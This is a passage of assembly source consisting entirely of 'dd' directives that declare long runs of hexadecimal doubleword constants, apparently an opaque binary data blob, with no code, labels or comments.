dd 6C610D7Fh, 19800CABh, 0F8FE8251h, 8FD18D1h, 9ED97A75h dd 0B6400AC4h, 0DD537585h, 0C00D5201h, 54508171h, 0D63E1FE0h dd 0C8F0CB88h, 0F885C046h, 3C03A76Fh, 597B9FA2h, 80B082E7h dd 0A5C3A6A8h, 0E6444A76h, 21FE0B8h, 0FA460105h, 25E81B06h dd 1477E054h, 9725F090h, 0BE0024A9h, 9884CCEh, 908768CAh dd 822B6E4Ah, 6A7BDDD8h, 85348920h, 9CF8461Ch, 8CEDBCh dd 0B742785Fh, 0EBDE2FCBh, 0F9C74809h, 430001FCh, 406A0B51h dd 0A24C0510h, 7550D184h, 74004688h, 48F75971h, 0D4C83743h dd 0B700FF59h, 55C6355Eh, 4B2C1B23h, 470828B5h, 80751DF4h dd 0A87A359Ah, 0D3019DBEh, 0B23EA1AFh, 0ABE085C7h, 33290F9Bh dd 2EA1F2BAh, 80A7F71Bh, 69212008h, 0B029B15Ah, 36C700B4h dd 66BFBD1Fh, 3B033E22h, 8FBE9C46h, 0A9F6B862h, 6A9B0A1h dd 2EBDE0B7h, 5E0E10AAh, 0E06373B3h, 75294606h, 43351808h dd 7CF99092h, 0ADFBCA0Fh, 25A247E0h, 67133C60h, 29D3125Ah dd 3AB08852h, 0C06EBB07h, 0C683A4B8h, 56FF866h, 9DBC249Ah dd 24754124h, 0C08C47F9h, 0CA2F8322h, 0DF7440C0h, 0B23E9972h dd 4CA97744h, 0B3C830BBh, 5CD01692h, 3ADC62EDh, 1900E994h dd 0B22B5085h, 0F809D9F7h, 0DA3DEE59h, 75D00DCh, 0A4D2ED03h dd 47E67DE6h, 0F0CD48h, 21DA9185h, 0EA4E61B2h, 64A0A0C7h dd 17C07ACh, 4F42C3F4h, 0B249FA65h, 9E0F00D0h, 1AF06EA1h dd 23EE0006h, 0DF3E3BA2h, 0E3001740h, 0D04CCCF3h, 64024Eh dd 77941C71h, 0F9C3A5ECh, 80DED301h, 4A51DAE6h, 1D900DFh dd 623755DCh, 18044FE1h, 40097745h, 0BE6A2C80h, 0E91F1E7Dh dd 0EC2C01DDh, 69233C0Ah, 0CFAA1744h, 7BA99891h, 95FC407Eh dd 49E82EC3h, 21A44B30h, 0A7CD53h, 0D396825Ch, 471CD1C7h dd 0A46BE203h, 0D87A4B83h, 6672Dh, 84E37326h, 13A7BEC7h dd 1F5A3C00h, 2CAA8B6Ah, 4E52011Dh, 4DFE3170h, 5BD1C4FDh dd 3532E900h, 7B68AB66h, 0F2FB0043h, 18D01E86h, 0FA002F9Dh dd 0AD0BDD58h, 0F1119EB0h, 0C56F1884h, 6376C126h, 1205B9Fh dd 0A21C3D2Bh, 5E883B0h, 1D58E8F2h, 3DC17B8h, 2650D93Ch dd 0F09F5DB1h, 0C5009048h, 8F84BB42h, 7E17136Fh, 0F1F82119h dd 45BF81CCh, 0E814098Bh, 0ECEED15Ah, 0F300A2FCh, 316D4A70h dd 0C40A5Eh, 0AD199D13h, 0DD02F771h, 0AC374002h, 8C9C17A9h dd 0AB320834h, 1E23F980h, 0F8A0D01Ah, 0C27DA3h, 6FF1B93Dh dd 0B27A24FBh, 9858F214h, 4AF7CE8h, 0BDDE5A86h, 0EC440710h dd 3DCC21h, 0B9E82795h, 0B4601F03h, 0C95AF253h, 2888991Dh dd 42BC2FF0h, 21B28611h, 2EA23FD3h, 42289D22h, 8DF212Bh dd 61942C91h, 0BB661128h, 65086B21h, 14D0BA7Ah, 171C44FFh dd 78732284h, 0FE206945h, 34933AA0h, 1CEB5807h, 2AA5E0C9h dd 0B6006D18h, 93A7F12Bh, 1D10B911h, 80B1DA53h, 447D04Eh dd 71000365h, 45DE662Dh, 72BD879h, 0A172E744h, 65BE50A9h dd 0BB00E6F2h, 0F0A56629h, 7F5397h, 647E62B1h, 0F8FEE3CFh dd 7B6F4C01h, 0FDEF3067h, 0D8E30431h, 0A592FAh, 0C3E0D264h dd 0F6F2510Ch, 0A3000D74h, 53A61F15h, 0FE4C8Ch, 0DE9B64AAh dd 689FB97Fh, 5F5A2D00h, 29AD604Dh, 0F1C20003h, 0F80DCC32h dd 0E600022Ah, 0C3BFBAFAh, 779876A1h, 8303001Ch, 0B6C87E8Ah dd 19F6E639h, 27071B90h, 9DDF703Bh, 996FC7D0h, 0AE053AB4h dd 88CE1F80h, 0A3981268h, 40227902h, 80AB1BC4h, 17A0CCA4h dd 9109277Ah, 0E9011ED6h, 1759097h, 1E6F3E0h, 98682EEAh dd 0F4A1C0CFh, 515FD607h, 0B031F0h, 5A195FF6h, 0C6362B16h dd 0F4E15F90h, 0E0F96B7h, 0E0E35447h, 2443081Eh, 7590E4Ch dd 0E6A076A3h, 16C5EAA9h, 0D3CBD10Eh, 0CC0980B0h, 1D8D203Fh dd 807E67D7h, 0AAB8D80Fh, 41020159h, 0A6224863h, 1D2CC062h dd 5A4200E2h, 0B67CA48Bh, 54008D92h, 0EBB29B36h, 0AE86F3h dd 0DD17DBDh, 0A4BFA219h, 0A7DC920Fh, 0FC6F04E8h, 6574A490h dd 536C005Dh, 1A33D583h, 62005667h, 0C711D934h, 86E6DBh dd 0CC16D065h, 0B1AE3B1Ch, 0B21E300h, 46E1B4C8h, 561B02A1h dd 7EECFE8h, 632E07Dh, 1DFA907Eh, 403BF084h, 2B673ADCh dd 80EB2711h, 40626990h, 0EEEE3D34h, 45E31D70h, 0BEE82633h dd 3BF95BAEh, 140070C9h, 8BE807C4h, 7890C91Fh, 114BD100h dd 8D2C94DBh, 0B6480323h, 8224363Bh, 39887BB3h, 0C200873Dh dd 0BF8DB528h, 32A2DA3h, 7E81C6AFh, 880F1D38h, 817540D0h dd 4970E3Ch, 78CC1EBh, 7FCED8h, 78720344h, 8FF81FABh, 4709B900h dd 0DF94C5BEh, 84C6129Ah, 0E69B00E1h, 74386671h, 0E3A42207h dd 4BE096C1h, 55743FEh, 0DE7D5882h, 0F2BC00A0h, 0FDA53EAAh dd 0B5EDB200h, 0A730B40Eh, 0EEB306EBh, 20BCF16Ch, 22009278h dd 8CB383Ah, 714E76h, 0CE257515h, 0F346E73h, 0F90004F6h dd 4FED3217h, 0BC43DDh, 9D011B79h, 1C3A8F88h, 785F9900h dd 40AEA12Ch, 253300B3h, 68E9A274h, 0EC09A31Ah, 80D485A7h dd 0F15C4958h, 0EE2B7E4Dh, 89130095h, 8F0253A5h, 2028B2BDh dd 55009C7Bh, 3ACC6B7Dh, 0B3FDF9h, 0C1BB8313h, 4EC04107h dd 0B2C1002h, 6802489Eh, 16DDD8h, 0DCA0B89Ch, 8A90A6B6h dd 0EDAE39h, 366D8EC1h, 0F4CE75h, 0CFA9BB10h, 0CB0DF873h dd 50F0B6ECh dd 0D294CD00h, 6C983277h, 2F8703F9h, 1E040D59h, 6AC34EE0h dd 0A7524D60h, 128EB653h, 6854303h, 0E8760A9Ch, 0FC5AC900h dd 9D0C427Bh, 6F0F00D5h, 0BC3F7137h, 9F28A14h, 78EE94Ch dd 351DFD70h, 0EF795700h, 0EF907C8h, 90427D9Fh, 0D6366C29h dd 0FAE8A150h, 3D45B201h, 9E256AF6h, 384CEF0h, 642D83E0h dd 92C87CF1h, 9A008AA3h, 5267B1EBh, 7061DF4h, 2D70DEA8h dd 13D5C065h, 0FB083F76h, 0CBCD74h, 16C14BF5h, 620E0788h dd 0E0A71B28h, 0E43778A1h, 563F0164h, 0DAD1ADCCh, 0D44830F8h dd 888FA801h, 0E059A5D6h, 13E2DBECh, 71D2352h, 0F082A2C8h dd 0D465E919h, 700FDE7Eh, 60A72A6Ch, 8F90F732h, 22850F0Ah dd 838065DBh, 92208CE1h, 0C98B1800h, 0BB93427h, 989862h dd 56BFA868h, 0D6E37E11h, 649A6100h, 0C72C5DFFh, 0C8890305h dd 676DF3A6h, 7DBAB4F8h, 0D09034F6h, 21394B00h, 0CFF6DCFFh dd 0F7DD00AAh, 7892BD98h, 0E23DF4BAh, 0B8E09D6Eh, 1EB4A354h dd 874080EEh, 0CFC290C1h, 9C9A00E9h, 0C3ADDFA1h, 8260208Eh dd 0FB67620h, 3B0E6h, 6C1189D0h, 0A104B502h, 0E35AA4A8h dd 3988C70Ah, 0E104B4D7h, 508CA557h, 28DA00A7h, 8FF5B75Dh dd 3B009E21h, 0A654B9FDh, 7BEB833h, 840D5F1Dh, 9C8F90D5h dd 98778044h, 0C6009498h, 40C58AC0h, 3BF2A005h, 0E100B8B9h dd 0FCF42B4Ch, 0E00E41Bh, 5B3D7ACEh, 3665D94h, 8E952124h dd 64D0C747h, 0FF3F4E82h, 0E07D00BFh, 0EE5A3F5Eh, 0E6EA4C28h dd 0FDCA0075h, 37A0EB73h, 2A0263DCh, 74926A2Ch, 7C50C0FCh dd 0F109854h, 0DF243C2Fh, 20A06E09h, 7FCA4951h, 1EF17641h dd 80449AA4h, 0FFC33CA0h, 0C404D6B3h, 0C1C9B80Ch, 46A2BE87h dd 0D1CE0EBh, 185B4CFDh, 2D733E01h, 0FCB28837h, 0F30B0E5Eh dd 263C15h, 0E462C9DFh, 20314C7Ch, 638D303h, 1A93A4E6h dd 0DAD2098h, 6ABB8900h, 0DA713385h, 0E0D63A43h, 76474400h dd 0A11AFBFCh, 2C6CD100h, 77A21798h, 3C907634h, 54871BAFh dd 0B06D5D15h, 19C871FBh, 0A91EA671h, 6949A4F8h, 9405014Ch dd 6AEC16BDh, 0C7BB0918h, 48803E80h, 9274CF56h, 1E00A071h dd 62B08EC2h, 69D290h, 0B8C9A51Bh, 6EF59E60h, 48BF5100h dd 0D781B485h, 666400A8h, 69B7847Ch, 0F54896D5h, 0EA43005Fh dd 982CC74h, 0DEBF00D6h, 0B4EEA288h, 0EF00B9A9h, 26ECF615h dd 3A8F12B5h, 6E004A84h, 61DA76E2h, 9EE24E47h, 0A4DE8600h dd 83D415C0h, 0F2090091h, 514941ABh, 1E0FF1E9h, 602DBED7h dd 0A235DF7Bh, 68A9036Eh, 0CA89E5A5h, 0F13388A0h, 0C78A7900h dd 0DFAA30F0h, 0EFA0995Ch, 0A62D10C0h, 0B70037FEh, 723A9115h dd 166DCFC5h, 16F03C31h, 665500C8h, 6EAFC0C9h, 700B378h dd 0ACC2A79Dh, 771B26Bh, 0D1A59ADEh, 8BC49021h, 7605DACBh dd 0C3C2E033h, 8ED9BA00h, 47E631h, 2482B6E3h, 68195260h dd 2B0C9400h, 8679B858h, 39363FE0h, 30137A03h, 27F9D3F8h dd 4350716Dh, 25C8A6D6h, 230E92C1h, 0A0E27810h, 6D7085C2h dd 0CB840315h, 0C75CC5AEh, 905AEFB0h, 980014E2h, 936B3BFh dd 3C26A42Ah, 0BE02EACAh, 7AF81ABBh, 0C88EC0E0h, 9D22873Eh dd 0E2967D71h, 0C314000h, 2E986915h, 969CF4D4h, 2798309Bh dd 0A0BA5952h, 3998A51Dh, 3A4BDE41h, 0ACE3B8BCh, 657BCC0h dd 0CC1A00DBh, 0B272B94Ah, 33F42B61h, 3F00BB78h, 0DA2C118Bh dd 954749h, 5F64E676h, 0B22E9B01h, 0ECD583Dh, 0C3ADF90h dd 2E13588Ch, 1907B17h, 0F0341470h, 1588702Eh, 20F37926h dd 0DAABE307h, 0E28097D4h, 19DA04Dh, 156E8E1Eh, 20DB2493h dd 0B1008C74h, 4CEA1A98h, 4FB88B27h, 5D5DE022h, 51F6367Ah dd 72380360h, 3DCACF28h, 683B2FEDh, 899570E0h, 0D008123h dd 0A3D8223Eh, 94173C50h, 0C8EB0068h, 198CE49Eh, 7AB0440Bh dd 12208048h, 0EC5574h, 0F82CE7Fh, 7570E16Ch, 655A7900h dd 0A7A004DEh, 5DDF03A9h, 13EF1561h, 341C4FB1h, 0DD002034h dd 0FD40CAC2h, 7FA529h, 19114307h, 0A8F462F9h, 0A6226A02h dd 41309A12h, 2BF0CEF8h, 28FA07E8h, 40C8F5E5h, 11FCEE29h dd 0F00CD200h, 0FFF7E770h, 36791E86h, 0CE1B00F2h, 0EACC1D12h dd 0DE7C3300h, 0ED1EE031h, 64201075h, 51CA00E8h, 1553F8D2h dd 0F4300BFh, 1DB56C4Fh, 0EE00F27Bh, 993E61B0h, 0BA4DAFA5h dd 0BC3C01A8h, 377A63C1h, 56EBCC6Dh, 91527304h, 88182DCh dd 22E4C7F5h, 68B57ABBh, 91FCCC3Ah, 9D0A1E8Dh, 2DED340h dd 7D9273BFh, 30E20204h, 136D1675h, 1935D082h, 9E4CCDE0h dd 0B9EC7050h, 0D3FB4A00h, 6EA4FFCFh, 1FBC7940h, 40316741h dd 20703D60h, 0F2003E3Ch, 0F0CE27CFh, 5BA4964h, 0BD11AF2Bh dd 0E0848766h, 62E23506h, 9E348B3Bh, 18C0F82Eh, 648AA9A0h dd 0BAAA01ACh, 0F0C47763h, 55B8E406h, 475A431Eh, 405944CEh dd 9699627h, 0DA7C004Fh, 3C12E001h, 71009CB9h, 0D9CD1ED4h dd 9F6ECBh, 0C310EE33h, 9E69E972h, 4209B69h, 0F4818103h dd 68FCAE56h, 749F4CE4h, 0DBACE101h, 0FFF0E276h, 6009A6D1h dd 0DD006D60h, 0D7C25839h, 0E4229362h, 0F247F4E7h, 0F6B800D0h dd 0BEAEF936h, 0D51407B0h, 0C0B8897Ch, 4B33E56Ch, 1FA675C9h dd 475D8F81h, 10D21C6Fh, 10E7BC25h, 94A96B04h, 2CC4A2D6h dd 6F28FCC1h, 320D7CCh, 5E7CAEA8h, 0A1A8DC33h, 2C0B064Dh dd 74A3F70h, 38E30DD0h, 4B8A00F9h, 8AFE7916h, 0B2009CFDh dd 59A85C0Fh, 118B4h, 0BBE404CAh, 3638F769h, 3565A600h dd 8D2C5C3Fh, 974300E7h, 0AD68FAE2h, 44005F42h, 49479B10h dd 7132D6h, 0C6637374h, 7E37DA8Ch, 0BA83AC16h, 51FE3B00h dd 7D553E1Dh, 3460014h, 0A0F16BE1h, 99007571h, 0BEBAACFAh dd 757AE305h, 334E8E7h, 0A3563C23h, 0A6E12A35h, 0A2BC2039h dd 0B60068FEh, 0A86ABCA4h, 33654BAh, 275586AAh, 24E0A1C1h dd 4209B9C0h, 0D7B383B5h, 817C5980h, 0D8006AB8h, 796553AFh dd 12D95987h, 0A7C7A3h, 0EEB536BCh, 57125FF8h, 784E0B75h dd 0D9EC6033h, 9AC7CB31h, 0A08F00CCh, 0C401A2BCh, 0FA009D92h dd 9D1DA30h, 24E6483h, 0EC8EC351h, 6C525665h, 0F8B68700h dd 0BF224875h, 7A51167Dh, 4CFA0055h, 6B505785h, 0A0E4F907h dd 0A6A01FF6h, 7EC38B5h, 2FB1EBC5h, 0FCA02E22h, 43321926h dd 0E214CD03h, 0E172A669h, 0C7ECE868h, 90B0C5h, 33C164D7h dd 7940B888h, 0DC92D62Ch, 530F1685h, 730B1980h, 0A3C900F7h dd 0FAE9A82Ch, 0C403281Bh, 0E425F4DEh, 0CC03D083h, 0B7D31C8Ch dd 217A40CBh, 0D66C0B8Fh, 5AA89400h, 7D0A6357h, 0D2E609E1h dd 0F78075D7h, 7B8064FDh, 278D1600h, 47D65B56h, 9B6F01A1h dd 0B5D5C4Ch, 0C892F09Eh, 9F7B9D05h, 8481A43Bh, 9435347Ah dd 1D1F14F4h, 0DE58E83Ah, 0A09B25EDh, 0D5082A00h, 270E4FAFh dd 3E1F00E0h, 0D42A420h, 1D0DEE3Fh, 0F0BDBF73h, 22ED0C60h dd 0C94D483Bh, 26690034h, 6BC1DBB0h, 2C8D012Fh, 0ACA5AF2Ah dd 0FCC1E629h, 0C07BF5CEh, 520083E7h, 0C80AEF7Eh, 3DB2ABCCh dd 801669B5h, 0D088874Bh, 0F01456D2h, 953EB81Fh, 6D63DA40h dd 32B0493h, 0B7A0C350h, 0B5D0F170h, 60085D7h, 0DCCA3655h dd 0D53D23h, 6CE24992h, 0D39E9C30h, 0E9880A00h, 58659A33h dd 66F90732h, 0CF8DC2ABh, 67757760h, 9AF22036h, 0EEF3D00h dd 8EAD732h, 13C90089h, 43656FE6h, 0C0090473h, 0E07C346Eh dd 191D688h, 6F810CC4h dd 0C4C70EADh, 8300E2DAh, 3EF26A60h, 0F8A89Ch, 82EC619Eh dd 34E70B5Ch, 0EF238400h, 1A7E409Dh, 21F20133h, 0C2E9BE88h dd 59B44030h, 24B9DBA8h, 35C91900h, 0F61804Bh, 0B2D5D9AFh dd 94FC4500h, 66280EC1h, 5316B9B7h, 0D833F306h, 3859F814h dd 54070013h, 91D1CF05h, 0D000492Ah, 0FE8660B1h, 2CA95BE1h dd 141D759h, 9EC56881h, 0DC1FC440h, 804A1338h, 231EB131h dd 0F81666h, 0E7518436h, 2F343EB3h, 46A5BD00h, 32CCACBEh dd 0D2D300C0h, 9972FC57h, 903EBDAh, 21FEA1Bh, 1762E8BCh dd 0CD5E0FC0h, 0F6425FA8h, 0BA41E7FCh, 0CF2701Fh, 0DCBFE40Fh dd 0FF24A3ACh, 898688CAh, 28D90275h, 0BCBBA088h, 4DF3F8E8h dd 0E82E5091h, 2A77ED00h, 1FC15B40h, 6436A4DEh, 0DD9B002Dh dd 0F128B6D0h, 0BE025890h, 89963A0Dh, 186440D1h, 0AB9C0B82h dd 0F8808AEBh, 67906858h, 0F8CFD8FBh, 0BDA770C0h, 2DDF7D04h dd 388F6437h, 0B4C76080h, 9701C671h, 0C37CE3ACh, 0CD7B037h dd 0B4CB9221h, 0E90C22B1h, 821089Dh, 246A4944h, 9F892000h dd 0EF5A900Ah, 0F253CC00h, 7F9AEA7Ah, 92F1188Dh, 0B13B607Dh dd 84DB2CA0h, 5D995C60h, 60FF4704h, 7FB629AEh, 7730BF40h dd 25B960F3h, 223700A0h, 0BB089FA1h, 0FB2A9E03h, 5A002839h dd 139926FFh, 833B94h, 2D018C17h, 80FE8543h, 8C011A5Eh dd 0C7B97EE0h, 4CDE07DCh, 0CE00813Eh, 82415EFDh, 9D005AE7h dd 7EDCB79h, 551A14Eh, 5C3E45B1h, 0E20F5E4h, 0ABC0AE04h dd 4DB4D434h, 0FF9FA312h, 0FD5884Fh, 423CA059h, 0FE7CD7A1h dd 0CC530028h, 0D70203Dh, 0F203764Ch, 9418BEBDh, 0A0A5E2F0h dd 0BAB34720h, 0CC400008h, 0BC0E434Ch, 0C4FA907Ch, 3F0899h dd 82C5DF10h, 3B0C427Dh, 6A805980h, 309D312Eh, 0E26090E8h dd 70878251h, 1D12004Fh, 13E6EBBh, 7E00BE72h, 0D7EC55E0h dd 9B2E5Dh, 0A53FF549h, 12A40C73h, 0A9D67A00h, 0AA11DBF7h dd 0F4950AB6h, 8080FE01h, 2A80374Eh, 5F303304h, 0D6E97920h dd 8AA60C6h, 8E12B8DBh, 0AC0A8200h, 9EF249EEh, 669100E0h dd 0C0ED9806h, 0FD00955Ah, 0B5EA34A6h, 187FA34Eh, 1849BED5h dd 0F60C683Ch, 105C8F60h, 203438A2h, 545A2863h, 7B0FFEC8h dd 41CB370h, 0ED0C3DE3h, 0D218A011h, 68016F6h, 40AED75Eh dd 0B025A33Ch, 9B3711CFh, 0AB721E65h, 0E46A04h, 9C0DE49Dh dd 0BAAE1498h, 1A4C227Bh, 0BD950060h, 9660F363h, 254300B9h dd 0ED7C065Fh, 0A0DE654Ch, 85782E82h, 5BF08523h, 134CA0h dd 0A0CA286Dh, 0F67461CCh, 120099FCh, 96427F94h, 4834BB80h dd 3C06048Ah, 701DB670h, 0B1B8DD01h, 76977D7Eh, 0E9D86080h dd 0BE835609h, 1AFA5C17h, 11E67007h, 0FB05430h, 37C4009Ah dd 50F78466h, 0D0006B35h, 3688702h, 1F617B4Bh, 315BDDh dd 83E016ACh, 80931C6Dh, 2812258h, 0F8570A15h, 0C8EB5CCh dd 3C203E09h, 0E0C111Eh, 0F839A560h, 39907D49h, 0B4993E7Fh dd 80A00927h, 7D21D821h, 58E486DDh, 0A90F5F40h, 0C6C3CFE8h dd 610BBDA5h, 10FC7DAAh, 1598990h, 0C636392Bh, 4031755Bh dd 344913BCh, 3C010F4Eh, 0BF534D7Dh, 0B81BA041h, 20C449A8h dd 0D1324F9Dh, 30F3B137h, 9B087D98h, 6497A67Fh, 303341AEh dd 53D0197Dh, 9F4800A8h, 1179A540h, 3F0C647Ah, 603B8120h dd 431B1460h, 1C50F0A2h, 0CB009FCh, 38036626h, 0E980AF98h dd 7C177AD5h, 104F5770h, 0C30A220Bh, 258440A3h, 0BD4929E2h dd 134A901Ch, 0C4073A9h, 1C86ECABh, 99A30033h, 899E088Fh dd 0D4B86BD4h, 79A6EA12h, 0AA8B2804h, 41AFBC88h, 9B46DC1Fh dd 0F36440h, 6DF712A7h, 307C39CFh, 71055505h, 1C0852A3h dd 469CA04Ah, 7D73170Eh, 9CAE400Ah, 3240A3C4h, 37037D0Bh dd 0A8BB7C3Eh, 837A8C96h, 64144Dh, 0F121E2E5h, 0E472499Fh dd 0F4B31E13h, 0F3DCFF8h, 0FCAD4641h, 0A459A87Dh, 0F3E56701h dd 84BBA37Ah, 1040B430h, 631F573h, 7C0D7293h, 7FA00630h dd 0C8A1ECEDh, 703FEF04h, 0B88017F0h, 249223D9h, 8030E090h dd 38065933h, 553F687Ch, 42F01DA4h, 845C0A12h, 77F1CEh dd 639AD746h, 4A73C40h, 13D084A8h, 408EF525h, 73AA2370h dd 38C03F81h, 72627148h, 0A04A63F1h, 0C091A73Ch, 90389712h dd 4A1AC20h, 226000DEh, 0D7DD7B0Ah, 89268C81h, 8F0ED082h dd 0A32CE0B4h, 7AFAAE4h, 0F6F497E0h, 0B0DD2312h, 7DB4F11Eh dd 0D6040A5Fh, 0D4912659h, 0A4F0A85Bh, 46283A2Fh, 3379788Eh dd 0EE697362h, 2201E061h, 5FCD00CCh, 36A3986h, 31D50072h dd 2FA350AFh, 0E0342D7h, 1702122Ch, 9B80243Eh, 7AE040F0h dd 0A75048B3h, 820ABAF0h, 0B4763659h, 0F580B691h, 87CEC77h dd 9224243h, 770D2001h, 3BF65241h, 190D4F0h, 0AD7D0AB3h dd 0F8FDAF3Dh, 5977E1B9h, 9D9CE1C0h, 0A77365h, 0BAFDD0CDh dd 4DFE04F5h, 93E121C3h, 0B502D865h, 40A26499h, 60AF62E3h dd 0D09DA7E9h, 4E222038h, 65A5E301h, 971F2FB3h, 4B9A9450h dd 96F4003Eh, 11CFEE05h, 0FB0307C8h, 34A7677Ah, 474D9260h dd 61946498h, 0AFCE896Dh, 385E8398h, 1FA3CFC3h, 0C22901FFh dd 68258A75h, 213031DCh, 1460C238h, 724BBEE4h, 29F180Fh dd 68B5C423h, 16E05984h, 4C21FBD2h, 510938E0h, 0C8F921C0h dd 17A25ED2h, 8ED8689h, 0D99EFE54h, 5402C0C1h, 68266359h dd 4165C73Ah, 0EE830088h, 15C4D55Bh, 4D86D800h, 0A437EC17h dd 0A17D0061h, 896651DBh, 26F2A599h, 8097FE00h, 385C1216h dd 0F57E07C4h, 11131E33h, 24E3071Fh, 2340CDF0h, 96A30F46h dd 0AA85CB4Ch, 0E4A4C80Ah, 546A7C3Ah, 48CC8F0h, 0A74A6590h dd 204862F5h, 965F6FCh, 0A8CE5000h, 346CAF1Fh, 451217DBh dd 0C4E802E5h, 0CD27F0FDh, 14E40708h, 9F45F26Ah, 0C401946Ah dd 84D1502h, 18FD867Fh, 5CD20439h, 329E1920h, 0E1E22064h dd 81A0E5D2h, 3D06BDF6h, 0AE334D72h, 0C40DA068h, 9AF8A3E2h dd 0E86465A7h, 606424A0h, 8EE55250h, 60048802h, 0E0AC11BEh dd 6E2491h, 0E7664390h, 0C9082087h, 14F094F7h, 0E82CD4C8h dd 0F5718C52h, 800ECE26h, 0C072DC1Dh, 46EC4E0Bh, 659A02E2h dd 31C5A774h, 0EC5A1736h, 9AC2E000h, 0EEF33733h, 2ADB029Bh dd 36D12782h, 0C5A23341h, 0CCA3C234h, 84886F59h, 0C894BB32h dd 8CE9D45h, 21C0A088h, 7EA93F4Fh, 0B0F35457h, 3EF00097h dd 0BFDF0911h, 1C029164h, 9F140CBEh, 0B9F1C04Ch, 0DC7501FDh dd 59EC12B8h, 0BDD18030h, 0C18F389h, 99A0A83Fh, 0D77A1612h dd 5F980082h, 23EDA52Eh, 3F83C094h, 0E3494A66h, 0E4994CF1h dd 9E35BB00h, 95A844EDh, 32D99899h, 0AB007418h, 0EAB058F3h dd 0F0096338h, 78682634h, 600F446Ch, 2EAF7D4Ch, 70F8067Fh dd 7D7C24E7h, 0D882902h, 817A89FAh, 9B2E5E48h, 0F08E8CD0h dd 12C9322h, 21F2D2EFh, 805833C9h, 0CED2D7F8h, 7D540B8Ah dd 0F802A40Fh, 380CADA8h, 0F8E05970h, 4A82B2Eh, 144E1DF9h dd 99222D0h, 25510B66h, 0E03AD46Eh, 720A4490h, 81E7004Fh dd 8BA73069h, 0E50058ACh, 0D4275C02h, 0C4CB806Ah, 2554880h dd 0AFFC0EF1h, 762F6180h, 0E6E88BCAh, 0C79030F3h, 6C2A6A59h dd 352F9701h, 63026245h, 0ECDC21E8h, 9C460693h, 908B84B3h dd 0D939AF00h, 0C21A442Dh, 630F005Dh, 4B5BF92h, 0D2269383h dd 0C43A08ADh, 0D16E0051h, 88CF1FB3h, 6A0E3D65h, 864CB572h dd 20E9ADh, 0D81FBBC7h dd 14F6AF82h, 1B217500h, 5F620199h, 0E9F10E6Eh, 0D880BAD7h dd 0EA147983h, 0C111777Ch, 31075D81h, 50B03226h, 0D2F567D6h dd 213A09CCh, 323E0091h, 0BFD80E81h, 97F25530h, 7B63080Eh dd 9DDE6007h, 1F6BFA8Ch, 7ABBF3F0h, 0E5138E0h, 74732A91h dd 5E54361Eh, 8C55C68Eh, 4D42166h, 0C57F2AD9h, 58ED8649h dd 1C6BEC20h, 54F322E9h, 9B8128B9h, 0A2917A2Ah, 0D202848h dd 0C32E00F3h, 5905B22Ah, 0AD001ADDh, 0E291DFECh, 0C06384D9h dd 0D74980D1h, 0FC005B57h, 3CE13110h, 5BF532Ah, 43D062CFh dd 5D941C17h, 3BD5CE95h, 6FE82BE0h, 50E90476h, 231FB7CCh dd 4C858810h, 0B32118CCh, 0B41FBF00h, 91F03ABBh, 0D9D3600Fh dd 86115D06h, 1032F837h, 0CD753500h, 818B0061h, 16D278E4h dd 48000565h, 0D66D396Fh, 0C519DDh, 0E2CBF66Bh, 9A9D0A2Ch dd 6706DF00h, 645457A1h, 410E145Ch, 9180C462h, 444FE451h dd 0A2C12064h, 0F41FB461h, 0A48CAD88h, 0BCB2002Ch, 0D9CD4F1Fh dd 0EA7337ACh, 197FC04h, 536B6Fh, 2154079Ch, 68398A14h dd 0EA189463h, 40F708E4h, 2BB7016Ah, 44D40894h, 6EE440A4h dd 7DFA609Ch, 72004891h, 86F3CD84h, 1609285Ch, 0E8ECE814h dd 1F380081h, 0BC3D625h, 8D07021Ah, 70A9D62h, 43D11420h dd 8051016Dh, 0F4B15FD2h, 0E3D18088h, 9E7F7A81h, 4451C3EBh dd 0EDA806h, 2928FE94h, 0C2008D2Dh, 0BF92362h, 600FF67Bh dd 72139802h, 90015E8Fh, 95D65356h, 0C883CAEDh, 1512788Ah dd 9664C00Ah, 2780AC05h, 0C2F9596Dh, 7D0830BFh, 363C61C9h dd 0BE2E9977h, 0BC000164h, 93280EFBh, 62A0C10Ch, 937B08B6h dd 211CBD31h, 0C7CC69C0h, 0AF5A48h, 654910A5h, 67D78EFAh dd 2071DC00h, 76A0B16Dh, 2681C006h, 1785CBB7h, 38A10812h dd 0C00A1EFAh, 0CAAA1B0Dh, 74040C91h, 0A1E83CFEh, 28B10898h dd 0A79C211Fh, 0B9933F68h, 5789001Fh, 38976FCCh, 5683449h dd 0EAAB3B51h, 7949B047h, 65646D71h, 0A66FD042h, 7921F6D4h dd 4DAB01AAh, 3278E686h, 0A5ACD09Eh, 2D7B0E00h, 8B0BD89Ch dd 4D0C9218h, 238354D4h, 0CEAABD32h, 90102531h, 0EE00323Bh dd 0AB1CF9B9h, 15F0902h, 0E354D246h, 0EDF62ECBh, 0F88980E6h dd 0C2013B9Dh, 1EDB1353h, 71982167h, 0C47BD5C9h, 0B6004090h dd 0F3E080A0h, 58977ED6h, 78423607h, 6F88673Bh, 0F0C47564h dd 0AB6DA840h, 0B6002E31h, 5B680278h, 29098281h, 0C09764h dd 3E7F239Ch, 0E226938Ah, 215EA4DCh, 0EF80F30Dh, 8138222Ch dd 7E8400E1h, 78F04DA4h, 54907B2Eh, 51150930h, 0F598B65h dd 2901B813h, 280A2300h, 63409561h, 99AA606Eh, 6165BF1h dd 0A77F506h, 901809B2h, 50BA5230h, 652A9A01h, 0C556E91h dd 2B21C07Ah, 91F92AC2h, 382C8713h, 30B8F062h, 73582A6Ch dd 24542B39h, 2AD4D580h, 318ACB1h, 8AF71536h, 889C64D8h dd 1A8CD718h, 46B232CCh, 103C18B1h, 73224ABh, 0A29F4B49h dd 1D1F262h, 0C8FDB460h, 24C18CF8h, 727FE6ADh, 0A69F848h dd 0F42B171Fh, 2E465C38h, 50CC0919h, 0D1FE10EDh, 31E1C110h dd 41698094h, 0D9066790h, 765430ADh, 0C7C81954h, 2ED5ED00h dd 0BA9C0E4Eh, 14C403BFh, 57631E31h, 0F40A6929h, 9CF90F00h dd 2E9A54BBh, 3CB67179h, 0A8F729h, 0F6905DD2h, 4D3A6457h dd 0BA2600E3h, 4C471C8Ch, 8AC8121Ah, 0E4C003Ch, 0F2B50BB7h dd 0C3F87964h, 0B6322060h, 0B4A726EAh, 32389F00h, 4C0AC23h dd 34065CD8h, 97930109h, 8253E68h, 0FBE77941h, 126E80F0h dd 4438E183h, 8803EA4Ch, 82246094h, 243F687Ah, 198348CAh dd 1F3F0CF4h, 42D36848h, 3ADDFEF3h, 0B6465846h, 712A6E02h dd 61314E91h, 2AD6D710h, 0ED11771Eh, 